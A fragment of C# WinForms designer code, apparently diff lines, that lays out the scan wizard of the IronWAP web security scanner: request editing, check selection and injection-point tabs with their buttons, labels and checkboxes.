this.BaseTabs.Controls.Add(this.ChecksTab); - this.BaseTabs.Controls.Add(this.InjectionTab); - this.BaseTabs.Controls.Add(this.CustomizeTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(884, 561); - this.BaseTabs.TabIndex = 15; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // RequestTab - // - this.RequestTab.Controls.Add(this.Step0StatusTB); - this.RequestTab.Controls.Add(this.RequestSSLCB); - this.RequestTab.Controls.Add(this.CancelBtn); - this.RequestTab.Controls.Add(this.Step0TopMsgTB); - this.RequestTab.Controls.Add(this.StepOneNextBtn); - this.RequestTab.Controls.Add(this.RequestTabs); - this.RequestTab.Location = new System.Drawing.Point(4, 25); - this.RequestTab.Margin = new System.Windows.Forms.Padding(0); - this.RequestTab.Name = "RequestTab"; - this.RequestTab.Padding = new System.Windows.Forms.Padding(5); - this.RequestTab.Size = new System.Drawing.Size(876, 532); - this.RequestTab.TabIndex = 0; - this.RequestTab.Text = " Edit Request "; - this.RequestTab.UseVisualStyleBackColor = true; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(131, 476); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(607, 48); - this.Step0StatusTB.TabIndex = 6; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // RequestSSLCB - // - this.RequestSSLCB.AutoSize = true; - this.RequestSSLCB.Location = new System.Drawing.Point(13, 466); - this.RequestSSLCB.Name = "RequestSSLCB"; - this.RequestSSLCB.Size = new System.Drawing.Size(114, 17); - this.RequestSSLCB.TabIndex = 5; - this.RequestSSLCB.Text = "Request uses SSL"; - this.RequestSSLCB.UseVisualStyleBackColor = true; - this.RequestSSLCB.CheckedChanged += new System.EventHandler(this.RequestSSLCB_CheckedChanged); - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(3, 496); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 4; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // Step0TopMsgTB - // - this.Step0TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0TopMsgTB.Dock = System.Windows.Forms.DockStyle.Top; - this.Step0TopMsgTB.Location = new System.Drawing.Point(5, 5); - this.Step0TopMsgTB.Multiline = true; - this.Step0TopMsgTB.Name = "Step0TopMsgTB"; - this.Step0TopMsgTB.ReadOnly = true; - this.Step0TopMsgTB.Size = new System.Drawing.Size(866, 70); - this.Step0TopMsgTB.TabIndex = 3; - this.Step0TopMsgTB.TabStop = false; - this.Step0TopMsgTB.Text = resources.GetString("Step0TopMsgTB.Text"); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(755, 495); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 2; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // RequestTabs - // - this.RequestTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.RequestTabs.Controls.Add(this.tabPage20); - this.RequestTabs.Controls.Add(this.tabPage21); - this.RequestTabs.Location = new System.Drawing.Point(5, 82); - this.RequestTabs.Margin = new System.Windows.Forms.Padding(0); - this.RequestTabs.Multiline = true; - this.RequestTabs.Name = "RequestTabs"; - this.RequestTabs.Padding = new System.Drawing.Point(0, 0); - this.RequestTabs.SelectedIndex = 0; - this.RequestTabs.Size = new System.Drawing.Size(866, 368); - this.RequestTabs.TabIndex = 1; - // - // tabPage20 - // - this.tabPage20.Controls.Add(this.RequestRawHeadersIDV); - this.tabPage20.Location = new System.Drawing.Point(4, 22); - this.tabPage20.Margin = new System.Windows.Forms.Padding(0); - this.tabPage20.Name = "tabPage20"; - this.tabPage20.Size = new System.Drawing.Size(858, 342); - this.tabPage20.TabIndex = 0; - this.tabPage20.Text = "Raw Headers"; - this.tabPage20.UseVisualStyleBackColor = true; - // - // RequestRawHeadersIDV - // - this.RequestRawHeadersIDV.AutoSize = true; - this.RequestRawHeadersIDV.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestRawHeadersIDV.Location = new System.Drawing.Point(0, 0); - this.RequestRawHeadersIDV.Margin = new System.Windows.Forms.Padding(0); - this.RequestRawHeadersIDV.Name = "RequestRawHeadersIDV"; - this.RequestRawHeadersIDV.ReadOnly = false; - this.RequestRawHeadersIDV.Size = new System.Drawing.Size(858, 342); - this.RequestRawHeadersIDV.TabIndex = 0; - this.RequestRawHeadersIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.RequestRawHeadersIDV_IDVTextChanged); - // - // tabPage21 - // - this.tabPage21.Controls.Add(this.RequestRawBodyIDV); - this.tabPage21.Location = new System.Drawing.Point(4, 22); - this.tabPage21.Margin = new System.Windows.Forms.Padding(0); - this.tabPage21.Name = "tabPage21"; - this.tabPage21.Size = new System.Drawing.Size(858, 342); - this.tabPage21.TabIndex = 1; - this.tabPage21.Text = "Raw Body"; - this.tabPage21.UseVisualStyleBackColor = true; - // - // RequestRawBodyIDV - // - this.RequestRawBodyIDV.AutoSize = true; - this.RequestRawBodyIDV.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestRawBodyIDV.Location = new System.Drawing.Point(0, 0); - this.RequestRawBodyIDV.Margin = new System.Windows.Forms.Padding(0); - this.RequestRawBodyIDV.Name = "RequestRawBodyIDV"; - this.RequestRawBodyIDV.ReadOnly = false; - this.RequestRawBodyIDV.Size = new System.Drawing.Size(858, 342); - this.RequestRawBodyIDV.TabIndex = 1; - this.RequestRawBodyIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.RequestRawBodyIDV_IDVTextChanged); - // - // ChecksTab - // - this.ChecksTab.Controls.Add(this.Step1StatusTB); - this.ChecksTab.Controls.Add(this.SelectAllChecksCB); - this.ChecksTab.Controls.Add(this.Step1TopMsgTB); - this.ChecksTab.Controls.Add(this.StepTwoPreviousBtn); - this.ChecksTab.Controls.Add(this.StepTwoNextBtn); - this.ChecksTab.Controls.Add(this.ScanPluginsGrid); - this.ChecksTab.Location = new System.Drawing.Point(4, 25); - this.ChecksTab.Margin = new System.Windows.Forms.Padding(0); - this.ChecksTab.Name = "ChecksTab"; - this.ChecksTab.Padding = new System.Windows.Forms.Padding(5); - this.ChecksTab.Size = new System.Drawing.Size(876, 532); - this.ChecksTab.TabIndex = 1; - this.ChecksTab.Text = " Select Checks "; - this.ChecksTab.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.Location = new System.Drawing.Point(259, 436); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(607, 50); - this.Step1StatusTB.TabIndex = 11; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // SelectAllChecksCB - // - this.SelectAllChecksCB.AutoSize = true; - this.SelectAllChecksCB.Location = new System.Drawing.Point(13, 81); - this.SelectAllChecksCB.Name = "SelectAllChecksCB"; - this.SelectAllChecksCB.Size = new System.Drawing.Size(109, 17); - this.SelectAllChecksCB.TabIndex = 10; - this.SelectAllChecksCB.Text = "Select All Checks"; - this.SelectAllChecksCB.UseVisualStyleBackColor = true; - this.SelectAllChecksCB.Click += new System.EventHandler(this.SelectAllChecksCB_Click); - // - // Step1TopMsgTB - // - this.Step1TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1TopMsgTB.Dock = System.Windows.Forms.DockStyle.Top; - this.Step1TopMsgTB.Location = new System.Drawing.Point(5, 5); - this.Step1TopMsgTB.Multiline = true; - this.Step1TopMsgTB.Name = "Step1TopMsgTB"; - this.Step1TopMsgTB.ReadOnly = true; - this.Step1TopMsgTB.Size = new System.Drawing.Size(866, 70); - this.Step1TopMsgTB.TabIndex = 9; - this.Step1TopMsgTB.TabStop = false; - this.Step1TopMsgTB.Text = "\r\nThe list below shows the various web application security vulnerabilities that " + - "IronWAP can scan for.\r\n\r\nSelect the checks that you want to be performed on this" + - " request.\r\n"; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(10, 499); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 8; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(760, 500); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 7; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // ScanPluginsGrid - // - this.ScanPluginsGrid.AllowUserToAddRows = false; - this.ScanPluginsGrid.AllowUserToDeleteRows = false; - this.ScanPluginsGrid.AllowUserToResizeRows = false; - this.ScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn9, - this.dataGridViewTextBoxColumn27}); - this.ScanPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ScanPluginsGrid.Location = new System.Drawing.Point(1, 109); - this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanPluginsGrid.MultiSelect = false; - this.ScanPluginsGrid.Name = "ScanPluginsGrid"; - this.ScanPluginsGrid.ReadOnly = true; - this.ScanPluginsGrid.RowHeadersVisible = false; - this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanPluginsGrid.Size = new System.Drawing.Size(240, 298); - this.ScanPluginsGrid.TabIndex = 6; - this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn9 - // - this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn9.HeaderText = ""; - this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; - this.dataGridViewCheckBoxColumn9.ReadOnly = true; - this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn9.Width = 20; - // - // dataGridViewTextBoxColumn27 - // - this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn27.HeaderText = "SELECT CHECKS"; - this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; - this.dataGridViewTextBoxColumn27.ReadOnly = true; - this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // InjectionTab - // - this.InjectionTab.Controls.Add(this.Step2StatusTB); - this.InjectionTab.Controls.Add(this.Step2ProgressBar); - this.InjectionTab.Controls.Add(this.Step2TopMsgTB); - this.InjectionTab.Controls.Add(this.StepThreePreviousBtn); - this.InjectionTab.Controls.Add(this.StepThreeNextBtn); - this.InjectionTab.Controls.Add(this.InjectionPointBaseTabs); - this.InjectionTab.Location = new System.Drawing.Point(4, 25); - this.InjectionTab.Name = "InjectionTab"; - this.InjectionTab.Padding = new System.Windows.Forms.Padding(5); - this.InjectionTab.Size = new System.Drawing.Size(876, 532); - this.InjectionTab.TabIndex = 2; - this.InjectionTab.Text = " Set Injection Points "; - this.InjectionTab.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.Location = new System.Drawing.Point(124, 509); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(628, 18); - this.Step2StatusTB.TabIndex = 13; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // Step2ProgressBar - // - this.Step2ProgressBar.Location = new System.Drawing.Point(269, 505); - this.Step2ProgressBar.MarqueeAnimationSpeed = 10; - this.Step2ProgressBar.Name = "Step2ProgressBar"; - this.Step2ProgressBar.Size = new System.Drawing.Size(301, 22); - this.Step2ProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.Step2ProgressBar.TabIndex = 12; - // - // Step2TopMsgTB - // - this.Step2TopMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2TopMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2TopMsgTB.Location = new System.Drawing.Point(5, 5); - this.Step2TopMsgTB.Multiline = true; - this.Step2TopMsgTB.Name = "Step2TopMsgTB"; - this.Step2TopMsgTB.ReadOnly = true; - this.Step2TopMsgTB.Size = new System.Drawing.Size(866, 65); - this.Step2TopMsgTB.TabIndex = 11; - this.Step2TopMsgTB.TabStop = false; - this.Step2TopMsgTB.Text = resources.GetString("Step2TopMsgTB.Text"); - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(3, 498); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 10; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(758, 499); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 9; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // InjectionPointBaseTabs - // - this.InjectionPointBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.InjectionPointBaseTabs.Controls.Add(this.AllTab); - this.InjectionPointBaseTabs.Controls.Add(this.URLTab); - this.InjectionPointBaseTabs.Controls.Add(this.QueryTab); - this.InjectionPointBaseTabs.Controls.Add(this.BodyTab); - this.InjectionPointBaseTabs.Controls.Add(this.CookieTab); - this.InjectionPointBaseTabs.Controls.Add(this.HeadersTab); - this.InjectionPointBaseTabs.Controls.Add(this.ParameterNamesTab); - this.InjectionPointBaseTabs.Controls.Add(this.BlackListTab); - this.InjectionPointBaseTabs.Location = new System.Drawing.Point(0, 75); - this.InjectionPointBaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.InjectionPointBaseTabs.Name = "InjectionPointBaseTabs"; - this.InjectionPointBaseTabs.Padding = new System.Drawing.Point(0, 0); - this.InjectionPointBaseTabs.SelectedIndex = 0; - this.InjectionPointBaseTabs.Size = new System.Drawing.Size(871, 420); - this.InjectionPointBaseTabs.TabIndex = 1; - this.InjectionPointBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.InjectionPointBaseTabs_Selecting); - this.InjectionPointBaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.InjectionPointBaseTabs_Deselecting); - // - // AllTab - // - this.AllTab.BackColor = System.Drawing.Color.White; - this.AllTab.Controls.Add(this.ScanHeadersCB); - this.AllTab.Controls.Add(this.AllHeaderPointsAvlLbl); - this.AllTab.Controls.Add(this.panel7); - this.AllTab.Controls.Add(this.AllHeaderPointsSelectedLbl); - this.AllTab.Controls.Add(this.panel6); - this.AllTab.Controls.Add(this.panel4); - this.AllTab.Controls.Add(this.panel3); - this.AllTab.Controls.Add(this.AllBodyPointsSelectedLbl); - this.AllTab.Controls.Add(this.AllBodyPointsAvlLbl); - this.AllTab.Controls.Add(this.AllUrlPointsSelectedLbl); - this.AllTab.Controls.Add(this.AllUrlPointsAvlLbl); - this.AllTab.Controls.Add(this.BodyInjectionMessageLbl); - this.AllTab.Controls.Add(this.panel1); - this.AllTab.Controls.Add(this.label5); - this.AllTab.Controls.Add(this.label3); - this.AllTab.Controls.Add(this.label2); - this.AllTab.Controls.Add(this.UrlPathPartInjectionMessageLbl); - this.AllTab.Controls.Add(this.ScanURLCB); - this.AllTab.Controls.Add(this.ScanBodyCB); - this.AllTab.Location = new System.Drawing.Point(4, 22); - this.AllTab.Name = "AllTab"; - this.AllTab.Size = new System.Drawing.Size(863, 394); - this.AllTab.TabIndex = 6; - this.AllTab.Text = "All"; - // - // ScanHeadersCB - // - this.ScanHeadersCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanHeadersCB.AutoSize = true; - this.ScanHeadersCB.Location = new System.Drawing.Point(22, 257); - this.ScanHeadersCB.Name = "ScanHeadersCB"; - this.ScanHeadersCB.Size = new System.Drawing.Size(131, 17); - this.ScanHeadersCB.TabIndex = 18; - this.ScanHeadersCB.Text = "All Header Parameters"; - this.ScanHeadersCB.UseVisualStyleBackColor = true; - this.ScanHeadersCB.Click += new System.EventHandler(this.ScanHeadersCB_Click); - // - // AllHeaderPointsAvlLbl - // - this.AllHeaderPointsAvlLbl.AutoSize = true; - this.AllHeaderPointsAvlLbl.Location = new System.Drawing.Point(632, 258); - this.AllHeaderPointsAvlLbl.Name = "AllHeaderPointsAvlLbl"; - this.AllHeaderPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllHeaderPointsAvlLbl.TabIndex = 36; - this.AllHeaderPointsAvlLbl.Text = "0"; - // - // panel7 - // - this.panel7.BackColor = System.Drawing.Color.WhiteSmoke; - this.panel7.Controls.Add(this.ScanQueryCB); - this.panel7.Controls.Add(this.AllQueryPointsAvlLbl); - this.panel7.Controls.Add(this.AllQueryPointsSelectedLbl); - this.panel7.Location = new System.Drawing.Point(5, 122); - this.panel7.Name = "panel7"; - this.panel7.Size = new System.Drawing.Size(858, 30); - this.panel7.TabIndex = 42; - // - // ScanQueryCB - // - this.ScanQueryCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanQueryCB.AutoSize = true; - this.ScanQueryCB.Location = new System.Drawing.Point(17, 7); - this.ScanQueryCB.Name = "ScanQueryCB"; - this.ScanQueryCB.Size = new System.Drawing.Size(124, 17); - this.ScanQueryCB.TabIndex = 15; - this.ScanQueryCB.Text = "All Query Parameters"; - this.ScanQueryCB.UseVisualStyleBackColor = true; - this.ScanQueryCB.Click += new System.EventHandler(this.ScanQueryCB_Click); - // - // AllQueryPointsAvlLbl - // - this.AllQueryPointsAvlLbl.AutoSize = true; - this.AllQueryPointsAvlLbl.Location = new System.Drawing.Point(627, 8); - this.AllQueryPointsAvlLbl.Name = "AllQueryPointsAvlLbl"; - this.AllQueryPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllQueryPointsAvlLbl.TabIndex = 30; - this.AllQueryPointsAvlLbl.Text = "0"; - // - // AllQueryPointsSelectedLbl - // - this.AllQueryPointsSelectedLbl.AutoSize = true; - this.AllQueryPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); - this.AllQueryPointsSelectedLbl.Name = "AllQueryPointsSelectedLbl"; - this.AllQueryPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllQueryPointsSelectedLbl.TabIndex = 31; - this.AllQueryPointsSelectedLbl.Text = "0"; - // - // AllHeaderPointsSelectedLbl - // - this.AllHeaderPointsSelectedLbl.AutoSize = true; - this.AllHeaderPointsSelectedLbl.Location = new System.Drawing.Point(780, 258); - this.AllHeaderPointsSelectedLbl.Name = "AllHeaderPointsSelectedLbl"; - this.AllHeaderPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllHeaderPointsSelectedLbl.TabIndex = 37; - this.AllHeaderPointsSelectedLbl.Text = "0"; - // - // panel6 - // - this.panel6.BackColor = System.Drawing.Color.LightSkyBlue; - this.panel6.Controls.Add(this.ScanAllCB); - this.panel6.Controls.Add(this.AllPointsAvlLbl); - this.panel6.Controls.Add(this.AllPointsSelectedLbl); - this.panel6.Location = new System.Drawing.Point(5, 35); - this.panel6.Name = "panel6"; - this.panel6.Size = new System.Drawing.Size(858, 30); - this.panel6.TabIndex = 42; - // - // ScanAllCB - // - this.ScanAllCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanAllCB.AutoSize = true; - this.ScanAllCB.Location = new System.Drawing.Point(16, 7); - this.ScanAllCB.Name = "ScanAllCB"; - this.ScanAllCB.Size = new System.Drawing.Size(232, 17); - this.ScanAllCB.TabIndex = 13; - this.ScanAllCB.Text = "All Parameters in all sections of the Request"; - this.ScanAllCB.UseVisualStyleBackColor = true; - this.ScanAllCB.Click += new System.EventHandler(this.ScanAllCB_Click); - // - // AllPointsAvlLbl - // - this.AllPointsAvlLbl.AutoSize = true; - this.AllPointsAvlLbl.Location = new System.Drawing.Point(627, 8); - this.AllPointsAvlLbl.Name = "AllPointsAvlLbl"; - this.AllPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllPointsAvlLbl.TabIndex = 26; - this.AllPointsAvlLbl.Text = "0"; - // - // AllPointsSelectedLbl - // - this.AllPointsSelectedLbl.AutoSize = true; - this.AllPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); - this.AllPointsSelectedLbl.Name = "AllPointsSelectedLbl"; - this.AllPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllPointsSelectedLbl.TabIndex = 27; - this.AllPointsSelectedLbl.Text = "0"; - // - // panel4 - // - this.panel4.BackColor = System.Drawing.Color.WhiteSmoke; - this.panel4.Controls.Add(this.ScanCookieCB); - this.panel4.Controls.Add(this.AllCookiePointsAvlLbl); - this.panel4.Controls.Add(this.AllCookiePointsSelectedLbl); - this.panel4.Location = new System.Drawing.Point(5, 211); - this.panel4.Name = "panel4"; - this.panel4.Size = new System.Drawing.Size(858, 30); - this.panel4.TabIndex = 40; - // - // ScanCookieCB - // - this.ScanCookieCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanCookieCB.AutoSize = true; - this.ScanCookieCB.Location = new System.Drawing.Point(17, 7); - this.ScanCookieCB.Name = "ScanCookieCB"; - this.ScanCookieCB.Size = new System.Drawing.Size(129, 17); - this.ScanCookieCB.TabIndex = 17; - this.ScanCookieCB.Text = "All Cookie Parameters"; - this.ScanCookieCB.UseVisualStyleBackColor = true; - this.ScanCookieCB.Click += new System.EventHandler(this.ScanCookieCB_Click); - // - // AllCookiePointsAvlLbl - // - this.AllCookiePointsAvlLbl.AutoSize = true; - this.AllCookiePointsAvlLbl.Location = new System.Drawing.Point(627, 8); - this.AllCookiePointsAvlLbl.Name = "AllCookiePointsAvlLbl"; - this.AllCookiePointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllCookiePointsAvlLbl.TabIndex = 34; - this.AllCookiePointsAvlLbl.Text = "0"; - // - // AllCookiePointsSelectedLbl - // - this.AllCookiePointsSelectedLbl.AutoSize = true; - this.AllCookiePointsSelectedLbl.Location = new System.Drawing.Point(775, 8); - this.AllCookiePointsSelectedLbl.Name = "AllCookiePointsSelectedLbl"; - this.AllCookiePointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllCookiePointsSelectedLbl.TabIndex = 35; - this.AllCookiePointsSelectedLbl.Text = "0"; - // - // panel3 - // - this.panel3.BackColor = System.Drawing.Color.WhiteSmoke; - this.panel3.Controls.Add(this.AllNamesPointsAvlLbl); - this.panel3.Controls.Add(this.ScanParameterNamesCB); - this.panel3.Controls.Add(this.AllNamesPointsSelectedLbl); - this.panel3.Location = new System.Drawing.Point(5, 291); - this.panel3.Name = "panel3"; - this.panel3.Size = new System.Drawing.Size(858, 30); - this.panel3.TabIndex = 39; - // - // AllNamesPointsAvlLbl - // - this.AllNamesPointsAvlLbl.AutoSize = true; - this.AllNamesPointsAvlLbl.Location = new System.Drawing.Point(627, 8); - this.AllNamesPointsAvlLbl.Name = "AllNamesPointsAvlLbl"; - this.AllNamesPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllNamesPointsAvlLbl.TabIndex = 38; - this.AllNamesPointsAvlLbl.Text = "4"; - // - // ScanParameterNamesCB - // - this.ScanParameterNamesCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanParameterNamesCB.AutoSize = true; - this.ScanParameterNamesCB.Location = new System.Drawing.Point(17, 7); - this.ScanParameterNamesCB.Name = "ScanParameterNamesCB"; - this.ScanParameterNamesCB.Size = new System.Drawing.Size(366, 17); - this.ScanParameterNamesCB.TabIndex = 19; - this.ScanParameterNamesCB.Text = "Parameter Name property of Query, Body, Cookie and Headers Sections"; - this.ScanParameterNamesCB.UseVisualStyleBackColor = true; - this.ScanParameterNamesCB.Click += new System.EventHandler(this.ScanParameterNamesCB_Click); - // - // AllNamesPointsSelectedLbl - // - this.AllNamesPointsSelectedLbl.AutoSize = true; - this.AllNamesPointsSelectedLbl.Location = new System.Drawing.Point(775, 8); - this.AllNamesPointsSelectedLbl.Name = "AllNamesPointsSelectedLbl"; - this.AllNamesPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllNamesPointsSelectedLbl.TabIndex = 39; - this.AllNamesPointsSelectedLbl.Text 